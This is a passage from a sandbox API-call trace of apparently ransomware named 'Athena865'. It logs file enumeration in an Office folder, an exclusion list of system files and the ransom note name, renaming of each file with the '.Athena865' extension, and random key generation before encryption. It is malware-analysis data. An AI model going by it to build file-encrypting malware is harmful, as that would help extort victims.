(HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.780] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.780] CloseHandle (hObject=0x154) returned 1 [0146.780] CloseHandle (hObject=0x17c) returned 1 [0146.780] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.781] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.781] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c961300, ftCreationTime.dwHighDateTime=0x1cab7c9, ftLastAccessTime.dwLowDateTime=0xef058230, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x7c961300, ftLastWriteTime.dwHighDateTime=0x1cab7c9, nFileSizeHigh=0x0, nFileSizeLow=0x2380, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SLINTL.DLL", cAlternateFileName="")) returned 1 [0146.781] lstrcmpiW (lpString1="SLINTL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.781] lstrcmpiW (lpString1="SLINTL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.781] lstrcmpiW (lpString1="SLINTL.DLL", lpString2=".") returned 1 [0146.781] lstrcmpiW (lpString1="SLINTL.DLL", lpString2="..") returned 1 [0146.781] lstrcmpiW (lpString1="SLINTL.DLL", lpString2="windows") returned -1 [0146.781] lstrcmpiW (lpString1="SLINTL.DLL", lpString2="bootmgr") returned 1 [0146.781] lstrcmpiW (lpString1="SLINTL.DLL", lpString2="temp") returned -1 [0146.781] lstrcmpiW (lpString1="SLINTL.DLL", lpString2="pagefile.sys") returned 1 [0146.781] lstrcmpiW (lpString1="SLINTL.DLL", lpString2="boot") returned 1 [0146.781] lstrcmpiW (lpString1="SLINTL.DLL", lpString2="ids.txt") returned 1 [0146.781] lstrcmpiW (lpString1="SLINTL.DLL", lpString2="ntuser.dat") returned 1 [0146.781] lstrcmpiW (lpString1="SLINTL.DLL", lpString2="perflogs") returned 1 [0146.781] lstrcmpiW (lpString1="SLINTL.DLL", lpString2="MSBuild") returned 1 [0146.781] lstrlenW (lpString="SLINTL.DLL") returned 10 [0146.781] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SLINTL.DLL" | out: lpString1="SLINTL.DLL") returned="SLINTL.DLL" [0146.781] lstrlenW (lpString="SLINTL.DLL") returned 10 [0146.781] lstrlenW (lpString="Athena865") returned 9 [0146.781] lstrcmpiW (lpString1="LINTL.DLL", lpString2="Athena865") returned 1 [0146.781] lstrlenW (lpString=".dll") returned 4 [0146.781] lstrcmpiW (lpString1="SLINTL.DLL", lpString2=".dll") returned 1 [0146.782] lstrlenW (lpString=".lnk") returned 4 [0146.782] lstrcmpiW (lpString1="SLINTL.DLL", lpString2=".lnk") returned 1 [0146.782] lstrlenW (lpString=".ini") returned 4 [0146.782] lstrcmpiW (lpString1="SLINTL.DLL", lpString2=".ini") returned 1 [0146.782] lstrlenW (lpString=".sys") returned 4 [0146.782] lstrcmpiW (lpString1="SLINTL.DLL", lpString2=".sys") returned 1 [0146.782] lstrlenW (lpString="SLINTL.DLL") returned 10 [0146.782] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL.Athena865") returned 68 [0146.782] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll.athena865"), dwFlags=0x1) returned 1 [0146.785] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SLINTL.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\slintl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.785] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9088) returned 1 [0146.785] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.786] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.786] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.787] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.787] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2680, lpName=0x0) returned 0x154 [0146.788] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2680) returned 0x100000 [0146.789] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.790] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.790] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.790] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.790] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.791] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.791] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.791] CloseHandle (hObject=0x154) returned 1 [0146.791] CloseHandle (hObject=0x17c) returned 1 [0146.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.791] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.792] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa52c0600, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50deda80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xa52c0600, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x9770, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SMIGRATE.VSL", cAlternateFileName="")) returned 1 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2=".") returned 1 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2="..") returned 1 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2="windows") returned -1 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2="bootmgr") returned 1 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2="temp") returned -1 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2="pagefile.sys") returned 1 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2="boot") returned 1 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2="ids.txt") returned 1 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2="ntuser.dat") returned 1 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2="perflogs") returned 1 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2="MSBuild") returned 1 [0146.792] lstrlenW (lpString="SMIGRATE.VSL") returned 12 [0146.792] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SMIGRATE.VSL" | out: lpString1="SMIGRATE.VSL") returned="SMIGRATE.VSL" [0146.792] lstrlenW (lpString="SMIGRATE.VSL") returned 12 [0146.792] lstrlenW (lpString="Athena865") returned 9 [0146.792] lstrcmpiW (lpString1="GRATE.VSL", lpString2="Athena865") returned 1 [0146.792] lstrlenW (lpString=".dll") returned 4 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2=".dll") returned 1 [0146.792] lstrlenW (lpString=".lnk") returned 4 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2=".lnk") returned 1 [0146.792] lstrlenW (lpString=".ini") returned 4 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2=".ini") returned 1 [0146.792] lstrlenW (lpString=".sys") returned 4 [0146.792] lstrcmpiW (lpString1="SMIGRATE.VSL", lpString2=".sys") returned 1 [0146.793] lstrlenW (lpString="SMIGRATE.VSL") returned 12 [0146.793] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.Athena865") returned 70 [0146.793] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl.athena865"), dwFlags=0x1) returned 1 [0146.795] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SMIGRATE.VSL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\smigrate.vsl.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.795] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=38768) returned 1 [0146.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.795] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.795] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.796] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.796] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.796] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9a70, lpName=0x0) returned 0x154 [0146.798] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9a70) returned 0x100000 [0146.800] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.801] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.801] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.801] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.801] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0146.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.802] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0146.802] CloseHandle (hObject=0x154) returned 1 [0146.802] CloseHandle (hObject=0x17c) returned 1 [0146.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.802] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.803] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67868700, ftCreationTime.dwHighDateTime=0x1cacbb1, ftLastAccessTime.dwLowDateTime=0x20bbf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67868700, ftLastWriteTime.dwHighDateTime=0x1cacbb1, nFileSizeHigh=0x0, nFileSizeLow=0x4e5a0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SOCIALCONNECTORRES.DLL", cAlternateFileName="SOCIAL~1.DLL")) returned 1 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2=".") returned 1 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2="..") returned 1 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2="windows") returned -1 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2="bootmgr") returned 1 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2="temp") returned -1 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2="pagefile.sys") returned 1 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2="boot") returned 1 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2="ids.txt") returned 1 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2="ntuser.dat") returned 1 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2="perflogs") returned 1 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2="MSBuild") returned 1 [0146.806] lstrlenW (lpString="SOCIALCONNECTORRES.DLL") returned 22 [0146.806] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SOCIALCONNECTORRES.DLL" | out: lpString1="SOCIALCONNECTORRES.DLL") returned="SOCIALCONNECTORRES.DLL" [0146.806] lstrlenW (lpString="SOCIALCONNECTORRES.DLL") returned 22 [0146.806] lstrlenW (lpString="Athena865") returned 9 [0146.806] lstrcmpiW (lpString1="ORRES.DLL", lpString2="Athena865") returned 1 [0146.806] lstrlenW (lpString=".dll") returned 4 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2=".dll") returned 1 [0146.806] lstrlenW (lpString=".lnk") returned 4 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2=".lnk") returned 1 [0146.806] lstrlenW (lpString=".ini") returned 4 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2=".ini") returned 1 [0146.806] lstrlenW (lpString=".sys") returned 4 [0146.806] lstrcmpiW (lpString1="SOCIALCONNECTORRES.DLL", lpString2=".sys") returned 1 [0146.807] lstrlenW (lpString="SOCIALCONNECTORRES.DLL") returned 22 [0146.807] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL.Athena865") returned 80 [0146.807] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll.athena865"), dwFlags=0x1) returned 1 [0146.809] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SOCIALCONNECTORRES.DLL.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\socialconnectorres.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.809] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=320928) returned 1 [0146.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.809] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.809] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.810] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.810] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.810] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4e8a0, lpName=0x0) returned 0x154 [0146.812] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4e8a0) returned 0x2bb0000 [0146.823] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.823] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.823] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.824] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0146.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0146.824] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0146.824] UnmapViewOfFile (lpBaseAddress=0x2bb0000) returned 1 [0146.827] CloseHandle (hObject=0x154) returned 1 [0146.827] CloseHandle (hObject=0x17c) returned 1 [0146.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540eb0 | out: hHeap=0x4f0000) returned 1 [0146.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ee58 | out: hHeap=0x4f0000) returned 1 [0146.827] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0146.828] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffe2700, ftCreationTime.dwHighDateTime=0x1c55531, ftLastAccessTime.dwLowDateTime=0x50deda80, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xffe2700, ftLastWriteTime.dwHighDateTime=0x1c55531, nFileSizeHigh=0x0, nFileSizeLow=0x644, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SPACE.VRD", cAlternateFileName="")) returned 1 [0146.828] lstrcmpiW (lpString1="SPACE.VRD", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0146.828] lstrcmpiW (lpString1="SPACE.VRD", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0146.828] lstrcmpiW (lpString1="SPACE.VRD", lpString2=".") returned 1 [0146.829] lstrcmpiW (lpString1="SPACE.VRD", lpString2="..") returned 1 [0146.829] lstrcmpiW (lpString1="SPACE.VRD", lpString2="windows") returned -1 [0146.829] lstrcmpiW (lpString1="SPACE.VRD", lpString2="bootmgr") returned 1 [0146.829] lstrcmpiW (lpString1="SPACE.VRD", lpString2="temp") returned -1 [0146.829] lstrcmpiW (lpString1="SPACE.VRD", lpString2="pagefile.sys") returned 1 [0146.829] lstrcmpiW (lpString1="SPACE.VRD", lpString2="boot") returned 1 [0146.829] lstrcpyW (in: lpString1=0x241e8a8, lpString2="SPACE.VRD" | out: lpString1="SPACE.VRD") returned="SPACE.VRD" [0146.829] lstrlenW (lpString="SPACE.VRD") returned 9 [0146.829] lstrlenW (lpString="Athena865") returned 9 [0146.829] lstrlenW (lpString=".dll") returned 4 [0146.829] lstrcmpiW (lpString1="SPACE.VRD", lpString2=".dll") returned 1 [0146.829] lstrlenW (lpString=".lnk") returned 4 [0146.829] lstrcmpiW (lpString1="SPACE.VRD", lpString2=".lnk") returned 1 [0146.829] lstrlenW (lpString=".ini") returned 4 [0146.829] lstrcmpiW (lpString1="SPACE.VRD", lpString2=".ini") returned 1 [0146.829] lstrlenW (lpString=".sys") returned 4 [0146.829] lstrcmpiW (lpString1="SPACE.VRD", lpString2=".sys") returned 1 [0146.829] lstrlenW (lpString="SPACE.VRD") returned 9 [0146.829] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.Athena865") returned 67 [0146.829] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd.athena865"), dwFlags=0x1) returned 1 [0146.831] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\SPACE.VRD.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\space.vrd.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0146.831] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1604) returned 1 [0146.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0146.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540eb0 [0146.831] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ee58 [0146.831] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eee0) returned 1 [0146.832] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0146.832] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.832] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x950, lpName=0x0) returned 0x154 [0146.840] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x950) returned 0x100000 [0146.841] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eee0) returned 1 [0146.842] CryptGenRandom (in: hProv=0x54eee0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0146.842] CryptReleaseContext (hProv=0x54eee0, dwFlags=0x0) returned 1 [0146.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540f28 [0146.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540f28 | out: hHeap=0x4f0000) returned 1 [0146.842] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0146.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0146.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0146.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0146.843] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0146.843] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0146.843] HeapFree (in: 